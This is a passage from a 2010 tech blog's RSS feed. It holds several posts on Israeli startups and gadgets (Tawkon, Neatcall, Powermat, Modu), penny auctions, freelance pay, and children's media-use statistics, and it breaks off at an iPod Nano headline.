Tawkon can’t actually measure a phone’s radiation – it’s just software after all – so the app relies on processing a dizzying array of factors, including your location, environmental factors such as the weather, Bluetooth functionality, how close your phone is to your body (utilizing the iPhone’s proximity sensors), antenna orientation (are you holding the phone vertically or horizontally), GPS and even the phone’s built-in compass. The app then prompts users with a vibration or tone when the radiation levels reach a dangerous threshold.

Some of the worst places to talk in terms of radiation are a room with thick concrete walls (a basement, elevator or, in Israel, the sealed room mandated from the time of the first Gulf War), and a moving vehicle (such as a train, car or bus) when the phone is switching off between cellular broadcast towers. In all these cases, the phone has to work harder to connect to a signal, hence the radiation goes up.

In some cases, the locations where radiation is highest can be surprising. “In my apartment, radiation in the washroom is high,” Friedlander says, “while the rest of the house is decent.” In 80 to 85 percent of cases, there’s “good coverage and radiation is pretty low, especially in an urban area,” reassures Friedlander.

No one knows exactly how – or even whether or not – radiation will cause serious medical problems in another 10 years, but the government isn’t taking any chances. Israel’s health ministry has recommended that children under the age of 18 shouldn’t use mobile phones at all – young people’s brain tissue is still developing. In the US and Europe, however, similar precautionary warnings have not been issued.

Friedlander and his staff of six in the Tel Aviv suburb of Herzliya have been working on the Tawkon technology for 18 months now, going live with the still unclear iPhone version earlier this month. The app will be marketed direct to consumers via the various hardware manufacturers’ app stores for just under $10 a download.

Down the road, Friedlander says, he would be “delighted to partner with cellular phone operators,” where he believes that a tool to bring real value and safety to customers would be an absolute win/win. “We are aware that it’s challenging for them,” Friedlander admits. “For many years, they’ve just not addressed the issue.”

Friedlander is originally from Canada and studied at McGill University in Montreal. Tawkon has raised money from private investors in Canada, the US and Israel. Is he looking for larger investors? Probably not. “I don’t see the company as a big venture capital play,” he says. “It’s not a very capital intensive business. We don’t require tens of millions of dollars.”

If the app sells well – and Friedlander reports that the company has received thousands of inquiries since the TechCrunch blog about technology startups broke the story of the Apple ban – a small company like Tawkon could do quite well for its owners, partners and employees. The press is certainly interested. Tawkon has been inundated with press requests, from the Washington Post in the US to Channel 2 and The Marker business and technology print and online newspaper in Israel.

With the total number of cell phones in use said to be some four billion, and of these half a billion smart phones, Friedlander is optimistic that “it’s almost like an endless market.”

Ultimately, Tawkon is not all about the money. “Most of the time, you develop and sell a technology that reduces costs for a phone operator,” Friedlander says. “We were looking for something that can make an impact on the well-being of our friends, family and community. Being able to help the user is very important. We saw a real opportunity.”

This story on Tawkon first appeared on Israel21c and has since been written about by a number of top international newspapers and magazines.

]]> https://bluminteractivemedia.com/2010/05/tawkon-helps-reduce-radiation-danger-from-your-cell-phone/feed/ 16 My Posts at AIMGroup.com – Part Two https://bluminteractivemedia.com/2010/04/my-posts-at-aimgroup-com-part-two/ https://bluminteractivemedia.com/2010/04/my-posts-at-aimgroup-com-part-two/#comments Tue, 20 Apr 2010 14:42:19 +0000 https://bluminteractivemedia.com/?p=537

AIMGroup LogoLast week, I published 15 links to articles I wrote for AIMGroup.com about the the classified advertising business which I covered for five years. I chronicled hundreds of companies – from startups to established classified pure plays.

Here is part two of my list. And if you want to know more, visit AIMGroup.com for the latest headlines and analysis.

Atlanta newspaper: turn your computers off on Sundays and read us in print!

10 reasons you’ll miss print newspapers (parody).

Most people wouldn’t care if their local newspaper folded. Oy!

Tips from WSJ on how you can charge for content online.

Tweet your notes to the Western Wall.

YouTube is bleeding money – can it survive?

Survey: surfers don’t mind pop up ads…much.

Columbia University J-school head thumbs nose at social media.

Using social media when the news is bad.

Hearst sourcing content from Helium.

How to get people to pay for online? Black out all web news for a week.

Nine tips for alternative business models for struggling newspapers.

The future of the Internet in 2010 according to Pew.

How much time are you wasting online An irreverent new website tells you.

Car dealers upping Internet marketing spend as sales continue to drop.

]]> https://bluminteractivemedia.com/2010/04/my-posts-at-aimgroup-com-part-two/feed/ 5 My Posts at AIMGroup.com – Part One https://bluminteractivemedia.com/2010/04/my-posts-at-aimgroup-com/ https://bluminteractivemedia.com/2010/04/my-posts-at-aimgroup-com/#comments Tue, 13 Apr 2010 14:32:44 +0000 https://bluminteractivemedia.com/?p=520

AIMGroup LogoFor over five years, I covered the classified advertising business for AIMGroup.com. I was the beat reporter for real estate and automotive, and I chronicled hundreds of companies – from startups such as Zillow and HotPads – to established classified pure plays including Realtor.com, AutoTrader.com and Cars.com.

We covered social media extensively, but the main story was how newspapers had let these online competitors, not the least of which was Craigslist, decimate their classified advertising business, (hence leading to the dire straights print papers are in today) and what they could do to recover.

An often told if somewhat apocryphal story is how the Boston Globe once had the opportunity to buy recruiting powerhouse Monster.com but declined, saying in essence “hey, we’re the big bad Boston Globe, we don’t need that little pitzkele site.”

If watching the classified advertising shake down is of interest, I recommend you visit AIMGroup.com. In the meantime, I present you here with links to some of my more evergreen blog posts for the site over the last couple of years.

There are a lot of links, so I’ll publish these in two posts – here’s part one.

Thanks for permission to post these from my erstwhile editor Jim Townsend and publisher Peter Zollman.

If the NYTimes dropped print and distribution and gave all its subscribers e-Readers, it would actually save money!

Short attention span theater: new data – 10 percent of viewers leave an online video within 10 seconds.

85% of Gen Y-ers participate in social networking. Do you?

“Digital immigrants” vs. “digital natives” – with Facebook, you’ll never have to “get back in touch” again.

Google to newspapers: “grow up” (it’s not that hard to block Google indexing).

Profile of 2 Israeli startups shaking up writing and news: Iamnews and WeBook.

10 tips on how to make hyperlocal work.

If you want to trash your ex online, do it in Texas, not Colorado.

Teens don’t tweet. How come? Here’s what a teenage analyst has to say.

Consumers will pay 62% of what they pay for a print newspaper to access online news sites.

Why international users are draining Facebook’s coffers.

Creepy hookups – Google Maps and Craigslist personal mashup.

Social networks trump email for content sharing.

It’s not the newspapers, it’s their owners for print’s problems.

The first all-tweet newspaper – social media vanity press? Meanwhile, blog-to-print newspaper fails.

More next week…

]]> https://bluminteractivemedia.com/2010/04/my-posts-at-aimgroup-com/feed/ 15 Get a New Logo for $30 https://bluminteractivemedia.com/2010/03/get-a-new-logo-for-30/ https://bluminteractivemedia.com/2010/03/get-a-new-logo-for-30/#comments Wed, 31 Mar 2010 13:25:06 +0000 https://bluminteractivemedia.com/?p=516

NameProsI want to let you in on one of my biggest – and most cost-saving – secrets. Did you notice the new logo I posted awhile back on this site – the colorful “Blum Interactive Media” with the interacting squares? Now take a look at the new logo I have on my personal blog – “This Normal Life.”

How much do you think I paid to have each of these logos designed? A reasonably priced graphic designer here in the Jerusalem area told me that to create a logo, I needed to conduct a full branding endeavor that would run a minimum of $700. From what I’ve seen, that’s actually pretty cheap in the world of corporate creative.

But I didn’t pay $700. Not even half of that. I paid only $30. How did I do it? I went to a website called NamePros. The site is mainly about buying and selling domain names, but there is a section in the bottom of third of the page called “Design Contests.”

Visually, the site is nothing to write home about – it’s essentially just a big bulletin board where you start a new topic and then people post their responses. But don’t let the simplicity fool you – this is a powerful tool.

Here’s how it works: you start a new “contest” by writing a description of what you’re looking for, including any specifics, such as dimensions, colors or concept. You indicate a price and a time frame – contests can run no longer than 10 days. Most are priced between $25-$50.

Designers then starting posting their ideas to the board. Now this is what’s key about NamePros: the logos are displayed for everyone to see – you and all future and current design competitors. The artists expect your feedback and then come back and post revised versions.

At the end of ten days, you could have dozens of different designs and their iterations. Some are amateurish, to be sure, but many are truly top quality. Posting on NamePros represents a radically different experience from other freelance design sites such as eLance where you have to pick a designer first before you see what they’ll come up with.

The one rule you have to follow: at the end of the contest, you must pick a winner and pay them, even if you haven’t received a design you really love. If you don’t ante up, you get banned from the site. But at $30, think of it as a couple of falafel rather than a major investment.

Where are the designers from? All around the world. I’ve had submissions from Malaysia to Maryland. My latest winner lives in Greece; before that, Pakistan.

Tip of the hat: I would never have known about NamePros if it were not for my friend and social media colleague Akiva Fuld. Thanks Akiva for saving me hundreds of dollars!

]]> https://bluminteractivemedia.com/2010/03/get-a-new-logo-for-30/feed/ 18 A Neat Trick for Scheduling Meetings https://bluminteractivemedia.com/2010/03/a-neat-trick-for-scheduling-meetings/ https://bluminteractivemedia.com/2010/03/a-neat-trick-for-scheduling-meetings/#comments Mon, 22 Mar 2010 05:38:31 +0000 https://bluminteractivemedia.com/?p=511

neatcalltNew startups have the best shot at success when they address a “pain point” – an issue that causes discomfort, annoyance or even loss of business.

Tel Aviv-based Neatcall targets just such a situation, one that will be immediately familiar to anyone who’s ever tried to schedule a meeting with two or more participants: Seemingly endless phone or email tag.

Neatcall’s solution is to marry mobile technology with a seemingly simple voting system. But as with any good start up, there’s a lot more under the hood.

“On average, setting up a meeting with more than two participants is a process that can take between half to a whole working day,” Neatcall CEO Dan Benger says.

We’ve all been there. A meeting initiator calls or sends out a message to the people who are required to attend. The respondents reply with their availability and the initiator then tries to find a time that works for everyone. Automated services, such as Microsoft Exchange, can speed things up, but they don’t eliminate the essential “trial and error” nature of a task that often seems to stretch on forever, especially if not all the participants are sitting at their computers at the moment the message is sent.

This is how it works: The initiator selects several free time slots from his or her calendar. A message is sent out to all attendees who then vote on which slots work best for them, in their order of preference. The Neatcall system tallies up the votes and shoots back the optimal time. If all agree, Neatcall books the meeting, sends out a confirmation notice, and follows up closer to the meeting’s actual time.

So far, the system is neat, so to speak, but not a major breakthrough. But Neatcall has another trick up its digital sleeve. It sends out its messages via multiple mobile formats – email, SMS, WAP, instant message or via the browser to a smart device like the iPhone or Palm Pre. Even on a basic phone, people can vote by simply responding to an SMS – “send S to select the first date, T for the second date” and so on.

Neatcall also offers location management so that scheduling requests are sent to attendees in the appropriate time zone. For iPhone users, there’s an app available from the Apple App Store.

It’s no surprise that Benger was the man to recognize the need for Neatcall, seeing as he previously served as VP of international marketing and business development at web and video conference call solutions company Interwise. Customers were satisfied with the quality of the conference calls, he says, but they frequently complained about how difficult it was to set up those calls. Interwise was purchased by AT&T in 2007 for $121 million.

In addition to its innovative approach to scheduling meetings, Neatcall also offers to conduct your meetings for you, with a package that comprises chat, audio and video conferencing from a single unified site.

While Neatcall’s basic innovation should help to solve an existing problem, it may be difficult for the company to make headway with the rest of its package, given that the market is already saturated with conferencing companies such as Webex and GoToMeeting which lead the space.

Benger is hoping that the fact that Neatcall’s service is entirely browser-based, unlike competing software which requires users to download an application, will make the difference.

Neatcall sells its service directly to companies – Benger says there are several deals in the pipeline but won’t reveal their names – for up to $12 per user per month, with the price depending on whether Neatcall is handling just the scheduling or total conferencing delivery. About 200 corporate users in Israel, Europe, Australia and the US have already tried the system.

With only four employees, a few contractors and an investment of $500,000 from the Netanya-based incubator Targetech and Israel’s Chief Scientist’s Office, Neatcall is small, but looking to grow.

When I set up my interview with Benger, he used Neatcall to handle the scheduling. I received confirmation and reminders via both email SMS. And that was just, well (wait for it)… really neat.

I wrote this article last year for Israel21c – here’s the link.

]]> https://bluminteractivemedia.com/2010/03/a-neat-trick-for-scheduling-meetings/feed/ 6 Israel’s Top Ten Must-Have Gadgets https://bluminteractivemedia.com/2010/03/israels-top-ten-must-have-gadgets/ https://bluminteractivemedia.com/2010/03/israels-top-ten-must-have-gadgets/#comments Wed, 10 Mar 2010 09:48:13 +0000 https://bluminteractivemedia.com/?p=490

Israelis love technology. They are early adapters, and relentless innovators, always looking for ways to improve their lives in every possible area.

With the country’s talent for development, it’s no surprise that some of the world’s top gadgets were designed and developed in Israel. Israel21c asked me to put together a list of the ten best. Here’s my take:

1. DiskOnKey
sandisk-cruzer-micros 2
Dov Moran, founder of Modu (see below), previously hit the big time with his company M-Systems, which developed the very first DiskOnKey (or DiskOnChip as M-Systems originally dubbed it).

The concept is simple enough: Jam up to 64 gigabytes of data onto a tiny gadget no larger than a house key. The latest versions actually look like a key and can hook onto your key chain.

DiskOnKeys were part of the “one-two sucker punch” that killed the venerable floppy disk (the other being cheap recordable CD-ROMs and later DVDs). Aside from being a reliable way to transfer data from computer to computer, disk-on-keys are now finding new life, expanding the storage space of the latest portable craze, the NetBook.

In 2005, PC World named the DiskOnKey one of the world’s top 10 gadgets in the last 50 years. In 2006, international powerhouse SanDisk purchased M-Systems for $1.6 billion.

2. Powermat
CES-Powermat3x_Netbook 2
How many power cables do you have running under your office desk for all your computers, hard drives, modems, routers, etc.? How about those kitchen appliances and their connections to the sockets? Wouldn’t it be great to get rid of the clutter?

That’s what Powermat promises to do. The Israeli company’s technology lets you embed a power grid in just about anything – from a desk to a kitchen counter. Then, with a wireless receiver hidden inside a device, there’s no need for plugs anymore. Just position the device or appliance near a power “hotspot” and away it goes.

In a demo on the company’s website, a salesperson goes so far as to pour water all over a “Powermatted” kitchen counter – with no burn-outs or electrocutions. Other demonstrations show iPods and Blackberries charging when simply placed on a table.

The company is a joint venture between Michigan-based HoMedics and Israel’s Powermat. The first products will be available in time for this winter’s shopping season.

3. Epilady

epiladys
The story of this gadget is fraught with intrigue. We’re talking about a hair removal product invented in Israel that now has copycat versions worldwide. The original Epilady “epilator” was released in 1986. It had a rotating spring that worked by catching hair and pulling it out. It isn’t pleasant but, according to women, it works.

Newer versions have more of a tweezer action. Either way, the result is not unlike a waxing treatment, except that you can do it yourself at home, for a fraction of the cost. An Epilady treatment lasts up to four weeks.

Epilady was the first but has been surpassed by international brands including Braun and Remington (Epilady sued Remington over patent infringement but lost). Still, the company has sold 28 million units over a 23-year career and now sports 13 different models from the “Traveler” to the youth-marketed “Epigirl.”

Ironically, when the first Epilady came out in Israel it was given the “American” sounding name “Nice and Easy” while the company used the “Epilady” moniker overseas.

4. Modu

modu-phone-jacketss
Modu looks something like a cell phone and something like an MP3 player, but isn’t really like anything you’ve ever seen before. Essentially, Modu is a tiny device with cellular capabilities that can be slipped into any number of “jackets” to give it a specific functionality. One jacket transforms Modu into a full MP3 player, in another it’s a camera. The plan is to create a mini-economy around Modu accessories.

Our favorite Modu jackets: Modu Executive (looks like a Blackberry); Modu Love (a stylish cell phone with a big heart); Modu Kids (imagine a cute green Nintendo DS); Modu Boombox (a little phone with big, built-in bass-enhanced speakers); and the Modu Bicycle Mate (that snaps onto your handlebars).

The company is facing increasing competition from Apple, Nokia, Palm and others, which may be why, despite raising nearly $130 million since its launch in 2007, Modu recently laid off 80 employees. Still, the news isn’t all bad. Just a week before the layoffs Modu announced the launch of a touch screen jacket using Google’s Android mobile operating system.

5. Boxee

Boxee Interface
Boxee isn’t exactly a gadget. It’s software that’s intended to be integrated into other companies’ gadgets as their Internet media operating system. If it were just a TV playback system, Boxee wouldn’t be so hot; after all Microsoft and Apple have similar solutions. But Boxee excels at playing all types of video, audio and even image files. YouTube, NetFlix, Flickr and Pandora are all built in. And Boxee also plays well on the Xbox.

There are also a bunch of nifty social networking features that allow you to share what you’re watching with friends or tweet in real time.

Boxee announced recently that it is coming out with its own standalone hardware – the “Boxee Box.” In the meantime, you can install it on any computer you have – absolutely free. We installed Boxee on the laptop we have connected to our television and we love it.

6. Eye-Fi

Eye-Fi
Here’s an idea that’s so obvious it’s a wonder no one else thought of it. You’re at a family event, your child says his or her first words and you have the good fortune to capture the moment with your digital camera. You want to share it with the world but to do that you’d have to get back to your house, plug the camera into your computer via a USB cord, upload it, and then post it to Facebook or your blog.

With Eye-Fi you can upload those photos wirelessly from anywhere. The company sells a standard SD card (that you need to run your camera, anyway) that has built-in WiFi connectivity. That means that anywhere there’s a hotspot (which these days is just about everywhere) you can upload your photos to one of 25 sites that you specify in advance through the Eye-Fi software.

The Eye-Fi works with all the top cameras, from Canon to Kodak. The company was founded in 2005 and two of its four founders, Yuval Koren and Ziv Gillat, are Israeli.

But we have to ask: Is there still a market for a wireless SD card? Anyone with an iPhone already has the ability to wirelessly upload pictures – and even video – immediately. The answer: Standalone cameras with higher resolution than a phone-cum-camera haven’t gone the way of the dinosaurs yet, nor is there any reason to think that they will, which means Eye-Fi has plenty of visibility ahead.

7. MobileEye

MobileEye
Speaking of visibility, another Israeli high-tech company, MobileEye, combines a tiny digital camera with sophisticated algorithms to help drivers navigate their vehicles more safely.

Consider the lane departure warning system. When a driver starts drifting out of a lane or doesn’t use the turn signals, the system rings an alert. The MobileEye application is so sophisticated that it can even sense when a driver is “about” to change lanes inadvertently.

Fused with the car’s steering system, MobileEye takes the camera that much further. Other applications include a forward collision warning, traffic sign recognition and pedestrian detection.

MobileEye has been around since 1999 and has deals with GM, BMW and Volvo, among others. The company maintains R&D in Jerusalem but is now headquartered in The Netherlands.

8. Ctera

ctera-cloudplugs
Israeli company Ctera makes a small gadget that connects to a USB hard drive, transforming it into a cloud-based offsite storage system.

It’s a two-step process. First, data is backed up from your main computer to the external drive. Next, it’s sent to servers “in the cloud.” The result is that your computer isn’t constantly sending data to the Internet and slowing down processing speed. With this gadget multiple computers can now be connected to a USB drive that used to be tethered to just a single machine.

Ctera’s “Cloud Plug” is small enough to fit in an envelope which can be mailed from an ISP (Internet Service Provider) to its customers. ISPs like the device because it gives them a way to monetize all the online backup traffic they’re losing to third party services. Ctera also sells the gadget direct to the public for $199. Given that it’s not a question of if, but when, your hard disk will die, cloud storage has a rosy future. Ctera aims to be in the thick of it.

9. Easy-2-Pick

easy2picks
Airplane travel is stressful. There are the security checks, uncomfortable seats, tasteless meals and then, of course, there’s the fact that you’re hurtling through the air at breakneck speeds in a tin box. But perhaps the worst party of all is waiting for your luggage. You never know when it’s coming up the conveyor belt. You grab a bag only to discover that it belongs to someone else. Wouldn’t it be great if you could just sit back and wait for your luggage to alert you when it’s arrives?

That’s the idea behind a simple device from Easy-2-Pick, a small Israeli company founded by two American Express travel agents. The gadget has two components. One piece attaches to the luggage, the other fits in your pocket. The range between the two pieces is only 15 meters, so the alert only sounds (it also lights up and vibrates) when your luggage is close by.

The Easy-2-Pick system was red hot when we first wrote about it last year. It seems to have floundered since then as the inventors search for distributors. Still, it’s a wonderful idea and we hope it succeeds. Imagine the same technology being applied to your keys… or your car, when you can’t remember where you parked.

10. Medical imaging via cell phone

rubinsky_smIn the Western world, we take for granted high-tech tools for physicians and hospitals such as the hand held ultrasound wand that displays the heartbeat of a fetus or detects a tumor. But how would you use that same device in a remote village in Africa where there isn’t even any electricity?

Boris Rubinsky, a professor at the Hebrew University in Jerusalem, has come up with a novel concept: blend the wand with a cell phone. The phone powers the medical imaging device, then transmits the resulting data to a central processing facility – perhaps even in Israel – where it’s turned into an image which can then be messaged back to the village physician’s phone

The entire process is not unlike the trend in medicine in recent years where X-rays taken in the US are sent to Israeli radiologists for review and then returned via the Internet – saving money and time (it’s daytime in Israel, while it’s still night in the US when radiologists may not be so readily available).

Rubinsky’s life saving gadget is still just in the prototype stage but it has a promising future (and Rubinsky has the patents to back it up). Next in line: Rubinsky is working on a gadget that will extract small amounts of electricity from potatoes – just enough to charge a cell phone in those same far flung third world villages.

]]> https://bluminteractivemedia.com/2010/03/israels-top-ten-must-have-gadgets/feed/ 7 Great Deals or Hidden Scam? https://bluminteractivemedia.com/2010/02/great-deals-or-hidden-scam/ https://bluminteractivemedia.com/2010/02/great-deals-or-hidden-scam/#comments Sun, 21 Feb 2010 11:41:31 +0000 https://bluminteractivemedia.com/?p=482

Free Israel logo 2The courts have ruled that the service is legal, but it still leaves a muddled taste in my mouth. I’m talking about Free.co.il, a popular Israeli auction site that works more like the Lotto than eBay.

You can’t help but be drawn in by Free.co.il’s home page which promises a Sony Playstation for NIS 99 ($26), a MacBook Air for NIS 299 ($79), and even a brand new Mazda 3 for a steal at only NIS 899 ($237). Who wouldn’t want to play with deals like these?

At first, it would be hard to distinguish Free.co.il from a traditional eBay-style auction site: you place your bids on items for sale and the highest bidder within the auction’s time frame wins. Unlike eBay, though, you have to pay for your bids. The cost of each bid varies; for the MacBook, it’s NIS 20 (about $5). It’s higher for bigger ticket items.

So, let’s say you bid 20 times to win that MacBook. You’ll pay NIS 20 x 20 or NIS 400 ($105). Then you pay the price of the unit, plus shipping of NIS 75 ($20) – written in tiny letters on a separate page you have to click to see. Your total cost: NIS 774 ($206). That’s still way less than the retail price of NIS 8,899 ($2,400) at Apple’s Tel Aviv outlet, but it’s not the NIS 299 that was initially advertised.

And what if you don’t win? Then you lose the NIS 400 entirely. That’s how Free.co.il can offer such low prices.

Still, if you place your bids right (and there is a whole section on “bidding strategies” on the site), and you’re willing to stick with it and spend hours aggressively placing last minute bets, you will win eventually (hopefully for an item you actually want). So, even if you wind up spending NIS 2,000 bidding on several items before winning one that’s valued at NIS 10,000, you’re still getting the product at an 80% discount.

There’s one other trick Free.co.il has up its digital sleeve. If two people bid the same amount, both bids are canceled. That means that the highest “unique” bid wins. You can see who’s placing what bids, their initials and even where they live, but not the amount they’re spending. So you never really know if your bid is being burned or not.

Free.co.il is entirely in Hebrew, but there’s a thriving market of overseas competitors. Is this a good business? Investors seem to think so. One of Free.co.il’s rivals, Swoopo, has raised an astonishing $14 million. Another – BigDeal – has a $4 million war chest and some Silicon Valley luminaries at the helm.

It’s certainly compelling – who wouldn’t want an iPhone at a tenth of the retail price – though I don’t think I’d have the stomach for it (I usually chicken out and click the “Buy it Now” button on eBay). And it peeves me that Free.co.il buries those hefty shipping fees in hard-to-find small print – it makes me wonder what else are they hiding.

But if you’re willing to play by the rules, and you enjoy the thrill of the game, Free.co.il could be the 21st century version of “The Price is Right.” All we need now is our own Israeli version of Bob Barker.

This article originally appeared on the Israelity blog.

]]> https://bluminteractivemedia.com/2010/02/great-deals-or-hidden-scam/feed/ 2074 New Study: Why we Forward Emails https://bluminteractivemedia.com/2010/02/new-study-why-we-forward-emails/ https://bluminteractivemedia.com/2010/02/new-study-why-we-forward-emails/#comments Tue, 16 Feb 2010 09:54:51 +0000 https://bluminteractivemedia.com/?p=474

Jonah Berger

Jonah Berger

Katherine Milkman

Katherine Milkman

If you’re like me, you probably receive a lot of forwarded emails from friends with shots of awe-inspiring photography or some insight about why humans behave in the strange, amusing or crazy ways they so often do. Now, researchers at the University of Pennsylvania can tell us why.

These researchers – Jonah Berger and Katherine A. Milkman – were pretty serious about their study. They intensively analyzed The New York Times list of most-emailed articles, checking it every 15 minutes for more than six months, reviewing the content of more than 7,500 articles, and controlling for factors such as where the articles appeared on the site (i.e., home page, tech page, etc.) wrote John Tierney in The Times last week.

The results are consistent with what tends to fill up my own inbox: positive rather than negative themed articles, and long pieces on intellectually challenging topics. Take that, silly dancing cat videos.

Berger and Milkman said that the most shared emails were those that “inspired awe,” and that science articles were particularly popular. And not just reviews of the latest gadget. “You’d see articles shooting up the list…about the optics of deer vision,” Berger told Tierney.

Of the thousands of articles flagged during the research period, a random sample were rated by independent readers for qualities like “providing practical value” or “being surprising,” Tierney wrote. The researchers also used computer algorithms to track the ratio of “emotional” words in an article and to assess their relative positivity or negativity.

Explaining why “awe” sells…or at least results in more frequent forwarding, Berger explained that the most emailed articles tended to be those that triggered an “emotion of self-transcendence, a feeling of admiration and elevation in the face of something greater than the self.” That might include standing in front of a beautiful piece of art or listening to a grand symphony.

Of course, there were also the show-off’s. If you send an article off about quantum mechanics, you might preface it by writing “of course this is just a superficial treatment.” And there were the fear mongers, too, who shared pieces on impending terror attacks or tax increases (in equal measures, I’m sure).

But it’s the awe that’s the stickiest. “If I’ve just read this story that changes the way I understand the world and myself, I want to talk to others about what it means. I want to proselytize and share the feeling of awe,” Berger concluded.

So, am I doing my job here on this blog? I’m not sure. I try to write about interesting topics, perhaps even those that will surprise you (“Kids Consuming 11 Hours of Media a Day”) or that will provide some scientific insight (“Addicted to Email”). But do you feel a sense of awe when I share my thoughts on the latest Apple products or the latest trend of TV viewers tweeting live while they’re watching Heroes?

I’m not a big believer in writing exclusively for SEO, making sure my keywords are all punk’d out to their stickiest max. That would go for posting only awe-full articles too. If there’s something that I believe would be of value to you, my dear reader, I’ll blog it. And vice versa. If you enjoy what I’ve shared, feel free to forward it…regardless of what the researchers say.

]]> https://bluminteractivemedia.com/2010/02/new-study-why-we-forward-emails/feed/ 7 Sweatshops and Social Justice https://bluminteractivemedia.com/2010/02/sweatshops-and-social-justice/ https://bluminteractivemedia.com/2010/02/sweatshops-and-social-justice/#comments Wed, 03 Feb 2010 10:52:21 +0000 https://bluminteractivemedia.com/?p=467

sweatshopI’ve apparently started running a sweatshop. I didn’t mean to. It’s just what the market seems willing to bear.

It began with a small task. I wanted to move the content on my personal blog from one platform to another. Over the last 7 years, I’ve written well over 400 articles for This Normal Life.

I estimated that it would take between 3-5 minutes per post to transfer. That involved copying and pasting, adding categories and tags, and downloading and then re-uploading any images.

I was able to cut some of that time off by exporting from the original site into an XML format, but the process was flaky and many posts were just dropped indiscriminately.

I didn’t relish the idea of spending hours at a mind-numbing task. So I set out to find a “virtual assistant” who could do the job for me. I initially thought about posting an ad on eLance or oDesk but I really preferred to give it to someone local.

I was thinking that it would be a perfect job for a high school student, so I priced it at NIS 20 (about $5.00) an hour. The candidate who won the job was not a teenager, though. She was a mature adult whose hours working in the office of a major Jewish Federation had just been cut.

I felt terrible about employing someone so competent for such a paltry sum. But she’d accepted the offer willingly.

A week later, I put out another ad, this time for voice talent to record a number of dialogues for a language learning project I was hired to produce. I offered 50% more that my first go – NIS 30 ($8)/hour for about 3 hours of work. I was inundated by calls and emails – close to 50 within two days – including semi-professional actors, singers and performers with TV and radio experience. No one was balking at the low pay even though a proper rate for this kind of work would be 3-4 times higher.

The whole issue has given me pause for concern. Is the economy so bad that people are willing to settle for so little? And is it right for me to offer such rates?

And yet, if I outsourced the work to India or Malaysia, I would be a fool to pay Western salaries. And indeed, I recently had a logo designed via the Internet for the ridiculously low price of $30. A highly qualified local designer quoted me $700 for full branding.

The sweatshops where many of our grandparents worked on the Lower East Side of New York could get away with near slave labor prices, but that wasn’t good for the workers, nor would I say for the souls of their employers. A socially just policy should have the boss paying a fair rate, regardless of what the market can bear.

I’ll probably send my artwork requirements overseas again. But when it comes to my virtual assistant, I’m doubling her pay next time. There’s more to business than bragging over a bargain.

A shorter version of this article originally appeared on the Israelity blog.

]]> https://bluminteractivemedia.com/2010/02/sweatshops-and-social-justice/feed/ 6 Kids Consuming 11 Hours of Media a Day https://bluminteractivemedia.com/2010/01/kids-consuming-11-hours-of-media-a-day/ https://bluminteractivemedia.com/2010/01/kids-consuming-11-hours-of-media-a-day/#comments Thu, 21 Jan 2010 08:25:41 +0000 https://bluminteractivemedia.com/?p=457

Kaiser Kids and Internet Report

Cover from KFF Report

A new study from the Kaiser Family Foundation confirms what most parents already know: that our kids are literally tethered to the Internet or other means of consuming media the better part of the day.

The report, which has been the talk of the blogosphere since it was released yesterday, found that children and young adults aged 8 to 18 spend more than seven and a half hours a day on their computers, in front of a television, or accessing media on a smart phone or mobile device.

That number doesn’t include talking or texting on a cell phone (another two hours a day). And if you calculate in multitasking – i.e., surfing the web while listening to music – the amount of media content taken in comes to nearly 11 hours total per day.

The shocking part is that when the same study was conducted five years ago, its authors concluded that media use could not possibly grow further from the six and a half hours clocked in 2004.

Donald Roberts, one of the researchers and a professor at Stanford University told The New York Times that “I remember writing a paragraph saying we’ve hit a ceiling on media use, since there just aren’t enough hours in the day to increase the time.”

Roberts and crew were apparently wrong.

The study’s results come as no surprise to my wife and I. All three of our children have their own computers, which are constantly on even while “studying.” The older two also have an iPhone and iPod Touch and know where all the open WiFi hotspots are in town. If they have a long bus ride, they load up the latest episodes of How I Met Your Mother or Dexter before leaving in the morning.

While the amount of time teenagers spend online or watching TV or movies is surprisingly high, it’s not like we didn’t do the same when we were younger – at least as much as we could with the technology of the times. I distinctly remember my parents complaining that I couldn’t possibly study properly with music or the TV on. But my grades came out fine.

That’s not necessarily the case today, though. The grades of 47 percent of the heaviest media users in the report were C or lower. Those heavy media users were also more likely to report that they were bored or sad, that they got into trouble, didn’t get along well with their parents, or were not happy at school.

A number of years ago – before the advent of all the latest hi-tech toys – our kids had become hopelessly addicted to the tube. We took the radical step of going “cold turkey” and forbidding television entirely. The kids were mortified at first, but tell us today that it was one of the best things we did as parents.

But their TV watching is now just as high – if not higher – than when we first detoxed; it’s simply not in the living room anymore. We have thought about taking their laptops away, but the kids have moaned that they need them for schoolwork – which is true.

And then there is the role model of their parents. Both my wife and I are in front of our respective computers constantly. And we multitask too. I am constantly flitting between Firefox, to Word for an article I’m writing, to splicing in a few stolen minutes of The Office or Flash Forward – all the while listening to Internet radio or some of the 100 GB of music on our shared home server.

So how can we criticize our children when their parents are equally guilty? The one thing that ruffles a teenager’s feathers more than anything else is perceived hypocrisy.

And there have been certain benefits to the always-on society we’ve created. When my son was visiting Poland with his high school class, he found a WiFi connection at the Auschwitz concentration camp and Skyped me from there, bringing me into his experience without paying a penny.

Ultimately, there’s no turning back. Our kids aren’t going to unplug and this is probably just an interim stage on the way to even more insidious connectivity. Someday, we’ll probably be able to pipe the Internet directly into our brains.

Indeed, that future may not be so far off. An Australian company is already working on an interface to bring sight to the blind by implanting a chip that bypasses the optical nerve. It’s just a hop skip and a jump to an entirely wireless mind (can you say Cylon?)

What are we going to do then? Threaten to remove their batteries? If Apple has anything to do with it, the power supply will be hard wired in – like all of Apple’s iPod products. Need a new chip? Just replace your head.

Some more findings from the Kaiser study:

  • 76% of 8 to 18-year-olds have MP3 players (up from 18% in 2004).
  • 64% say the TV is usually on during meals and 45% say the TV is left on “most of the time” even if no one is watching.
  • 71% have a TV in their bedroom; 50% have a console video game player
  • The amount of time spent watching regularly scheduled TV declined by 25 minutes a day from 2004. But factoring in TV on the web and cell phones, total TV consumption increased from 3:51 hours to 4:29 hours a day.
  • 74% say they have a profile on a social networking site.
  • About half of young people say they use media either “most” (31%) or “some” (25%) of the time while they’re doing their homework
  • Respondents to the survey spend an average of 1:35 hours a day sending or receiving texts.
]]> https://bluminteractivemedia.com/2010/01/kids-consuming-11-hours-of-media-a-day/feed/ 6 Why the iPod Nano is Not a Game Changer After All https://bluminteractivemedia.com/2010/01/why-the-ipod-nano-is-not-a-game-changer-after-all/ https://bluminteractivemedia.com/2010/01/why-the-ipod-nano-is-not-a-game-changer-after-all/#comments Tue, 12 Jan 2010 07:52:25 +0000 https://bluminteractivemedia.com/?p=450

Video capabilities are a game changer

Not quite a game changer

